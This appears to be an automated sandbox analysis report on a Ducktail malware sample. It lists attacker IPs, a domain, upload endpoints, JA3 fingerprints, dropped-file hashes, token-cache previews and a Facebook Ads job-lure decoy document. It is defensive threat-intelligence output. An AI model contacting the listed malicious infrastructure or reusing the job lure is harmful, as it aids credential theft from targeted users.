	Job Description.lnk (2).download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2
	Emloyment Form.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757
	Company Booklet.lnk.download.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29:8000/api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cocomethode.de	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	172.67.128.139
ENZUINC-US	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	23.88.71.29
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.203.163.1
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	104.202.51.86
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.89.70.126
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	104.202.0.10
	kingsmaker_4.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29
	kingsmaker_6.ca.ps1	Get hash	malicious	Ducktail	Browse	23.88.71.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	print preview.js	Get hash	malicious	FormBook	Browse	104.21.1.51
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse	104.21.1.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\myRdpService.exe	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse
C:\Windows\Temp\svczHost.exe	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse
	rRtGI3L0ca.lnk	Get hash	malicious	Ducktail	Browse
	L0jeOoavu4.lnk	Get hash	malicious	Ducktail	Browse
	MdmRznA6gx.lnk	Get hash	malicious	Ducktail	Browse
	Cj3OWJHzls.lnk	Get hash	malicious	Ducktail	Browse
	m9c7iq9nzP.lnk	Get hash	malicious	Ducktail	Browse
	WXahq3ZEss.lnk	Get hash	malicious	Ducktail	Browse
	0A3NB8ot11.lnk	Get hash	malicious	Ducktail	Browse

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\ProgramData\Microsoft\Office\Licenses\5\Perpetual\21661362613116367064193984360 (copy)

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	19716
Entropy (8bit):	3.8805444504509246
Encrypted:	false
SSDEEP:	384:8yD8GqcOSBgitsd+NdsnFaFDUZYG+w1mJcp5GQpPcMautt4P/GIF+HVNL:8yD8G+SWitTnbpel+FJN2Pcu4PXF+r
MD5:	A8AEBDF1B20753B37DBA61BE7A64372B
SHA1:	19F1119CD1B9DF9B8BF90A0CC085D42715C8CE46
SHA-256:	77B880CC3564DA54672C0537AEE693BDD8FE685A6F59C4C52EA491CD986A2BCE
SHA-512:	909082FE951226AA4DA2B54C2689132A06E212A85CF9EDEA50938F795661D8764B4B2489341D3B2C3B43277EC4F9193432F1653B944A94463A7E2B6021C1D4AA
Malicious:	false
Preview:	{.".L.i.c.e.n.s.e.".:.".e.y.J.V.c.2.V.y.U.H.J.v.Z.m.l.s.Z.U.l.k.I.j.p.u.d.W.x.s.L.C.J.N.Y.X.h.E.Z.X.Z.p.Y.2.V.z.Q.W.x.s.b.3.d.l.Z.C.I.6.M.S.w.i.Q.W.N.0.a.X.Z.h.d.G.l.v.b.k.R.h.d.G.U.i.O.i.I.y.M.D.I.z.L.T.A.4.L.T.E.3.V.D.E.y.O.j.I.1.O.j.U.4.L.j.Y.w.M.T.E.x.N.T.d.a.I.i.w.i.R.X.J.y.b.3.J.G.Y.W.x.s.Y.m.F.j.a.0.N.h.d.G.V.n.b.3.J.5.I.j.p.u.d.W.x.s.L.C.J.S.Z.W.5.l.d.2.F.s.V.G.9.r.Z.W.4.i.O.i.J.l.e.U.p.K.W.k.d.W.d.W.R.H.b.D.B.l.U.0.k.2.S.W.x.0.V.m.M.y.V.n.l.T.V.1.E.5.V.j.B.4.S.l.J.D.M.H.d.N.R.E.F.6.T.k.R.B.d.0.1.U.R.T.J.O.e.m.R.G.U.k.R.j.M.0.8.w.T.n.B.a.R.D.A.0.T.m.p.J.N.F.p.H.T.T.F.O.R.F.p.r.W.X.p.r.N.U.5.E.W.T.V.P.M.D.V.o.Y.l.d.V.O.U.1.E.Q.X.d.N.e.l.F.3.T.U.R.F.e.E.5.q.Y.z.N.S.V.V.E.z.T.j.E.w.a.U.x.D.S.k.l.Z.W.E.p.r.Z.D.J.G.e.V.p.V.b.G.t.J.a.m.9.p.U.U.R.F.M.0.5.6.T.T.J.N.a.k.U.x.T.W.p.N.e.k.5.E.V.X.l.N.R.E.k.x.T.m.p.F.d.0.1.E.R.T.R.O.a.k.V.6.T.X.p.j.e.U.9.U.Y.3.p.O.e.l.F.3.T.W.p.V.d.0.1.U.a.3.d.N.V.F.k.1.T.0.R.J.N.U.1.6.Y.z.V.O.R.G.c.w.T.k.R.n.d.0.5.U.T.T.N.O.a.k.U.y.T.X.p.N.N.E.9.U.V.X.d.P.

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\55358e20b61aed6fcad5b2283103fb1fe9f3dd3668577b575161f953d12f5a3f

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	97679
Entropy (8bit):	7.947842064788624
Encrypted:	false
SSDEEP:	1536:uqc7pHXAsaUM1YiadRi0tj3hj3ZbMbyAeM21n6mPPTP0QojNhEV41dfnVuST2L:Zc76saUM6iadjJx3ZbUyg2tP70QS24f+
MD5:	9F2597624EB9C62A06157F41EEA117AB
SHA1:	671917642BF2C8FE4F6305FAE4C61D1D1980CADB
SHA-256:	36062D5681C4D50DB8AF4A7762741C110642B33F41F6FD36C21A8CD153F39A56
SHA-512:	7CC695B094B579A6298CAC7064605948179D9A44EE762958261967ED079E812CF6D3762C9FF69BA48E29C8A468A62A0478B83CB415EEF93B1F5E41AE38922244
Malicious:	false
Preview:	INSC.>.....Mar222021151921.38._......?Y... j.1/....s.h...fE............................0..bx.c`@.....^2200..A.....,.X)..(]..n(@.......Kc03.....}.......OB...d.?P... q.f.I..@j.........x.A#. ......Q@..C.#..!.`.U.....G..}..3....q.3B...4...=... .o... .....bJ.......c.~.`..pE0z"....xcu@.....P...7..;...#C...;.e.y@?.......P>(...v..(L@..P{.\|nF..jf.0]...kY!t....Y......('.....e`>.7.f..b0fH`..`d.........O`...a..v...D.....v.....\|B3...P...x.cD.@v.h....[j..."._.=.).HZ....t..................A...Xjx..Io.@..=vl.R.hX.NYR@.f......."T.-.LY...C..zB..7....8....M%..H.....Q.*.HL4....e.q..G...K....Z..\...'PXa.\|.V2.....>.\|q>;9o...o.,\|n.!..J.......I..P.P....7..l.?.)m...._,....M...=..c.....w.....Y.~.o...."../....V)N...Q.^!.D...M.w.iLd.+4\"...n..T.w.F%..u./..2.\|.v.`h..FEj~..}.5j~.D.j._.5_(..(-Do.Fu.2......E.S. :.Qt.&..E.m.......J..GD."o.yO.k.:....D.S..@.3.s.u..%......7P.&..B..s.....!...6.........9.>...g...R...._f..0.1...s<..4.....}./P..:.~\..c....1h.}\.....=..ub

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8493330216159802
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxAM+xl9Il8ug9p0BZ2uhoNGZdNLd1rc:vgM6YA0v2moNGxs
MD5:	63DDED96F9D24B30599A087CD1788B73
SHA1:	8DC00F1833B5AC17516733FEAD25996924E4FDDB
SHA-256:	1CA05BADAB083D25F2DFB18AC9F4754C8DFC553EDB23F3E58D9E9B98A3B6AC45
SHA-512:	1AA484E65BA686CEFDD4B61D897D59C1F5D084021EE64C2D4963232C362430F973641A06B7BDFEBD148F2335FB23F8E10D5FF11978B9568D80B09AB9C5B2215E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.K.M.q.Y.s.p.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.b.2.c.k.+.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	4.0040283756890735
Encrypted:	false
SSDEEP:	96:GY8KDb/aqpZKtY/Hcu7LYWqiIg2H8hZZ9PPHm9HjicD:GL8bHjHBYQIg2MZlPmwcD
MD5:	09A58ABA8F49562CD0170311EE8291A9
SHA1:	CEA85D46C8775F30CD52EC479C09A7719721A9F3
SHA-256:	CC0AC6111DA15CF6CC42EE23A8420E838D57ACC9BBE9D6EEC3532916BC0A1583
SHA-512:	54292F04177E835240105B078F066B9345326D057CF8F1FB1CF6897116E79A67E392988784DC27283F58DE8F9C51BC0D4757C32462278332D245D4BFBF840CDC
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".b.+.5.I.S.M.J.L.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.k.b.2.c.k.+.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{2EA1731A-C03A-403F-8BE5-6E453427C01B}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	3.213455877446529
Encrypted:	false
SSDEEP:	192:gTPiG7qDzkoAHbWJdYYpFqpNXr0RwsyJ8KgYuRk8wP4BdCxIxCp+:gTPiGmDzk97+dvpF7hn3RqPUCxI0p+
MD5:	71294CF53177169708D489E76ABC4395
SHA1:	645E1A7BE9FE770C0CEA60DAE42BC73991BDCF32
SHA-256:	4DB2B88BB80D77F107CF02C2813302C8AD7453F84FBB4AE720C582297880E567
SHA-512:	7DB4881965B78BA2DFB87995F404CE8764F5D250718D6938897D80C0BBF18A8B9B33F9C05CAD09B213E17A8E2706BD9503F2B36C1D84BDC211E5F47AF303EDFD
Malicious:	false
Preview:	..J.o.b. .T.i.t.l.e.:. .R.e.m.o.t.e. .F.a.c.e.b.o.o.k. .A.d.s. .M.a.n.a.g.e.r. .. .M.a.n.a.g.e. .A.d. .C.a.m.p.a.i.g.n.s. .w.i.t.h. .C.o.m.p.a.n.y. .C.r.e.d.i.t. .C.a.r.d.,. .M.o.n.t.h.l.y. .B.u.d.g.e.t. .U.p. .t.o. .$.1. .M.i.l.l.i.o.n...............................................................................................................................................................................................................................................................................................................^...`.......Z...\...................n...p...................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	20010
Entropy (8bit):	5.02483968322263
Encrypted:	false
SSDEEP:	384:KiQ0HzAFbFXX359ib4DVVHWrxpUUpXoCwiopbjvwRjdvRlYfWkib45OvQJvOjJx:KinHzwZH3FVVHWrxpUUpXoCwiopbjoRd
MD5:	07388C6CFA6BC904B45FA7E168B899FD
SHA1:	AAA45F87E01D4C0684789D16B887A984FDDBC506
SHA-256:	608907B69D3275653775ACFA2E4782294711F87979921D3E6557DEE6847F3035
SHA-512:	44CAD5B149165FEFB23572E09E15FF5C162E96220E20E0D84B02AD73B0080E863C387BFF93B7C98BE79C49870B37C8F0E701D6D02648B2A4CD61E544EE9F15E5
Malicious:	false
Preview:	PSMODULECACHE......wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Utility\Microsoft.PowerShell.Utility.psd1m.......Get-Date........Clear-Variable........Get-EventSubscriber........Import-Csv........Get-Variable........New-Variable........Compare-Object........New-TemporaryFile........Convert-String........New-Alias........Export-Csv........Get-Event........Set-TraceSource........ConvertTo-Csv........ConvertFrom-Json........Get-PSCallStack........

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.0818136700495735
Encrypted:	false
SSDEEP:	3:NlllulZlZ:NllUZ
MD5:	25346235FA00D9DDBA8403DF10E961DD
SHA1:	D1FED45C7DB001619D756CE08DE510C5072CE774
SHA-256:	ACF1301FA6A5870DC669189DD0D2CE3E7BDEE27D3BB0BFDAF37052F9FB1CC055
SHA-512:	1C2AA8AD5E7C37777EFDD0B87AC39E6E746E2B95200E5E1958DA0C6275EDE1A2ABF128908C51D3D40E92EE16E0B9A1857DE36AFE931403DDEEC13CDC29CA2568
Malicious:	false
Preview:	@...e...............................X................@..........

C:\Users\user\AppData\Local\Temp\15444DD3.tmp

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	19716
Entropy (8bit):	3.8805444504509246
Encrypted:	false
SSDEEP:	384:8yD8GqcOSBgitsd+NdsnFaFDUZYG+w1mJcp5GQpPcMautt4P/GIF+HVNL:8yD8G+SWitTnbpel+FJN2Pcu4PXF+r
MD5:	A8AEBDF1B20753B37DBA61BE7A64372B
SHA1:	19F1119CD1B9DF9B8BF90A0CC085D42715C8CE46
SHA-256:	77B880CC3564DA54672C0537AEE693BDD8FE685A6F59C4C52EA491CD986A2BCE
SHA-512:	909082FE951226AA4DA2B54C2689132A06E212A85CF9EDEA50938F795661D8764B4B2489341D3B2C3B43277EC4F9193432F1653B944A94463A7E2B6021C1D4AA
Malicious:	false
Preview:	{.".L.i.c.e.n.s.e.".:.".e.y.J.V.c.2.V.y.U.H.J.v.Z.m.l.s.Z.U.l.k.I.j.p.u.d.W.x.s.L.C.J.N.Y.X.h.E.Z.X.Z.p.Y.2.V.z.Q.W.x.s.b.3.d.l.Z.C.I.6.M.S.w.i.Q.W.N.0.a.X.Z.h.d.G.l.v.b.k.R.h.d.G.U.i.O.i.I.y.M.D.I.z.L.T.A.4.L.T.E.3.V.D.E.y.O.j.I.1.O.j.U.4.L.j.Y.w.M.T.E.x.N.T.d.a.I.i.w.i.R.X.J.y.b.3.J.G.Y.W.x.s.Y.m.F.j.a.0.N.h.d.G.V.n.b.3.J.5.I.j.p.u.d.W.x.s.L.C.J.S.Z.W.5.l.d.2.F.s.V.G.9.r.Z.W.4.i.O.i.J.l.e.U.p.K.W.k.d.W.d.W.R.H.b.D.B.l.U.0.k.2.S.W.x.0.V.m.M.y.V.n.l.T.V.1.E.5.V.j.B.4.S.l.J.D.M.H.d.N.R.E.F.6.T.k.R.B.d.0.1.U.R.T.J.O.e.m.R.G.U.k.R.j.M.0.8.w.T.n.B.a.R.D.A.0.T.m.p.J.N.F.p.H.T.T.F.O.R.F.p.r.W.X.p.r.N.U.5.E.W.T.V.P.M.D.V.o.Y.l.d.V.O.U.1.E.Q.X.d.N.e.l.F.3.T.U.R.F.e.E.5.q.Y.z.N.S.V.V.E.z.T.j.E.w.a.U.x.D.S.k.l.Z.W.E.p.r.Z.D.J.G.e.V.p.V.b.G.t.J.a.m.9.p.U.U.R.F.M.0.5.6.T.T.J.N.a.k.U.x.T.W.p.N.e.k.5.E.V.X.l.N.R.E.k.x.T.m.p.F.d.0.1.E.R.T.R.O.a.k.V.6.T.X.p.j.e.U.9.U.Y.3.p.O.e.l.F.3.T.W.p.V.d.0.1.U.a.3.d.N.V.F.k.1.T.0.R.J.N.U.1.6.Y.z.V.O.R.G.c.w.T.k.R.n.d.0.5.U.T.T.N.O.a.k.U.y.T.X.p.N.N.E.9.U.V.X.d.P.

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917453001456600_2FB93248-DC74-4F72-A315-3BC25C04E494.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.027661500284620406
Encrypted:	false
SSDEEP:	1536:M43jW3vylZTptp1QuG9qeYqgUTV/mnjEUJdf/B/oG:3viTVC
MD5:	B15F9B4C1E44D04CE7B6C13015DD7EA7
SHA1:	C9B90BCF743D2A660110465F090AA13B949126CF
SHA-256:	4DF2A03465A69DC780722F9E397EA2128FEA1ED6AFF1FB76F4C2B55FF0AF1309
SHA-512:	3EDE24EF7801EC541019FED4272164CB61D8905B42773FE97782A76513A1454A72FAEC67BEA869FDE22C6C79431151FE0D16A4CC111EA4A70396C686D9D7F880
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/11/2024 11:44:13.706.WINWORD (0xBE8).0x1A5C.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Word.FileOpen.UserInitiatedOpen","Flags":2814775553802753,"InternalSequenceNumber":60,"Time":"2024-12-11T11:44:13.706Z","Contract":"Office.System.Activity","Activity.CV":"SDK5L3Tcck+jFTvCXATklA.1.18","Activity.Duration":308557,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Activity.Result.Code":0,"Activity.Result.Tag":37262085,"Data.OpenInitiateKind":3,"Data.fOpenFromBoot":true,"Data.fZrtOpenRequested":true,"Data.zrtRequestedReason":4,"Data.ScanRequiredResult":0,"Data.fFileAlreadyOpen":0,"Data.FileIOClpState":0,"Data.MainPdod":2062776313472,"Data.Measurements":"cH1cZ39ib9ic1ii12iL10iU4iW1iY25ja1jc1jd2jg4jh11ji1jj9jk46jl4jm2jn10jo2js3jx26jN2kn1ks6kx3lf2a53ymo0b303","Data.TrackbackTag":37262080,"Data.IntermediateResultsTotalCount":1,"Data.IntermediateResults":"[{\"Code\":0,\"Tag\"

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733917453002581300_2FB93248-DC74-4F72-A315-3BC25C04E494.log

Download File

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16777216
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	2C7AB85A893283E98C931E9511ADD182
SHA1:	3B4417FC421CEE30A9AD0FD9319220A8DAE32DA2
SHA-256:	080ACF35A507AC9849CFCBA47DC2AD83E01B75663A516279C8B9D243B719643E
SHA-512:	7E208B53E5C541B23906EF8ED8F5E12E4F1B470FBD0D3E907B1FC0C0B8D78EB1BBFB5A77DCFD9535ACF6FA47F4AB956D188B770352C13B0AB7E0160690BAE896
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	4613
Entropy (8bit):	7.737727511212856
Encrypted:	false
SSDEEP:	96:MxEjTyPmOtE19oVKitqb37Xbm6HiLhOncYD8xLB83D44OXL:MghMVjtqT7Xbm62OcBxd83DJOb
MD5:	DB15D3AE0D25D001D6F1DD25DEDC408F
SHA1:	EA533B87BBD997D199565113B611C7F5A234F326
SHA-256:	32A3177BA7CF8F4F20FB8C04DE96C425BE3E5FC68D473A64ADDCC189B279767C
SHA-512:	4B229B0D27604F062EB184E38CDFCAEDB61E2B8B4F7B4A5386F3C3D82309956E183EC1746BB8BC86EA8AAB949B5181F659EA4E506329CFE60D7CD122C7AC6EFD
Malicious:	false
Preview:	PK.........~\|Y................_rels/.rels..;..0.D.bmO6P ..AHi.p...8Q.l.=.(........y...(..Y...FV:5Y...7.h.E....#...9.).#b.#..........)...9.M.+.=.O.....AS.pwA.r.j."....u...z....I....Q......W3..PK..O..<........PK.........~\|Y................word/_rels/document.xml.rels.....0.E.%..u!"M....R? &..6..T...........0yyU#......$..Z.9...9..P.y.#......$F.g.`w.z..>1.u..)...:j.8...:M7.v...4.u...I..Ex...T..4..d.jf..PM....FL.u...O...E.yD.n....+....PK..............PK.........~\|Y................word/document.xml.]_o....*...6.....Z.....>.i.@v..#..i.s.=...y.w.7.'...+....trp..........p8...Z..X'...<..O.haJ...O...N..\.\.......W?n/J#B..3.@.....8;s.....i@..5......5....ku.......K=....l.g...h.k......v.3..n/.......II....0ag...%^.r]..^...u%....O..._.^.pu9.v..&`.....tB....\Q?.v....>.w..I....\v?.Q..#..M....x..]c....yx.}....T......B(.66:Kov......n/"P...o,8......Y.[..\........Kc..U..{...,..\|...E....;..E..n.\k........[6.PJ.wmY..(.J..u(....y.=g.q.8.............B....

C:\Users\user\AppData\Local\Temp\RESBF0C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Wed Dec 11 11:44:01 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1336
Entropy (8bit):	3.9780743683268254
Encrypted:	false
SSDEEP:	24:Hdim9ht2hu3cml9HowKGmNII+ycuZhNfakShPNnqSSd:99tlc0XKGmu1ulfa3TqSC
MD5:	5A07671D81E5A0BE2063A05FF0677E6C
SHA1:	FB0EB9CBFED717844B32EF54594388DA062C84C7
SHA-256:	7CBD1642C07705E165002E074E7C739FC03EC678D0D9C7BF6CB5811CAD1D6800
SHA-512:	BBFBCF850491E4694FA7528AE34A0CD9CB583DC36C449DEA1878E2A1367A8D0BC9B3740EE9A1F1442FCE5DC4680CBCDBB146DF0390DCAF0ACF144F656DE29EAB
Malicious:	false
